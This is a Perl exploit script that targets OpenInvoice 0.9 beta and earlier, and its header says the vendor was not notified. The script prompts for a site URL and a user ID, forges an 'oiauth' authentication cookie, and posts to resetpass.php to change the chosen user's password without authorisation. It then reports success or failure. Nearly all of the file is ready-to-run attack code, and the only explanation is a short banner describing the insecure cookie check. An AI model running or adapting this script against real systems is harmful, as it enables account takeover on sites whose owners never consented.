#!/usr/bin/perl
# [ OpenInvoice 0.9 Arbitrary Change User Password Exploit ]
# Discovered && Coded By t0pP8uZz
# Discovered On: 18 April 2008
# Vendor has not been notified!
# see exploit for more details..
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
print "-+- [ OpenInvoice 0.9 Arbitrary Change User Password Exploit ] -+-\n";
print "-+- (Discovered && Coded By t0pP8uZz) -+-\n";
print "-+- -+-\n";
print "-+- Discovered On: 18 April 2008 / Discovered By: t0pP8uZz -+-\n";
print "-+- OpenInvoice 0.9 beta (and prior) Suffers from Insecure ... -+-\n";
print "-+- ...cookies and admin panel validating, combining the two.. -+-\n";
print "-+- .we can change any users password except for the 1st admin -+-\n";
print "-+- -+-\n";
print "-+- [ OpenInvoice 0.9 Arbitrary Change User Password Exploit ] -+-\n";
print "\nEnter URL (the vuln site): ";
chomp(my $url=<STDIN>);
print "\nEnter UID (the user id to change pass for): ";
chomp(my $uid=<STDIN>);
my $domain = $url;
my $count = ($domain =~ tr"/"");
if($count == 1) {
$domain =~ s/\\//;
} elsif($count >= 3) {
$domain =~ s/http:\/\///;
}
my $cjar = HTTP::Cookies->new( file => "cookies.txt", autosave => 1 );
$cjar->set_cookie(1, "oiauth", "1", "/", "6oogle.pl");
$cjar->save("cookies.txt");
my $ua = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1 )', cookie_jar => $cjar );
my $result = $ua->post($url."/resetpass.php", { 'uid' => $uid, 'changepass' => 'Change Password' } );
if($result->is_success() && $result->content !~ /unable to change password/i && $uid != 1) {
print "Password successfuly changed for userid: ".$uid."\n";
exit;
}
print "Exploit Failed! check domain is running OpenInvoice <= 0.9, Check UID isnt 1\n";
exit;
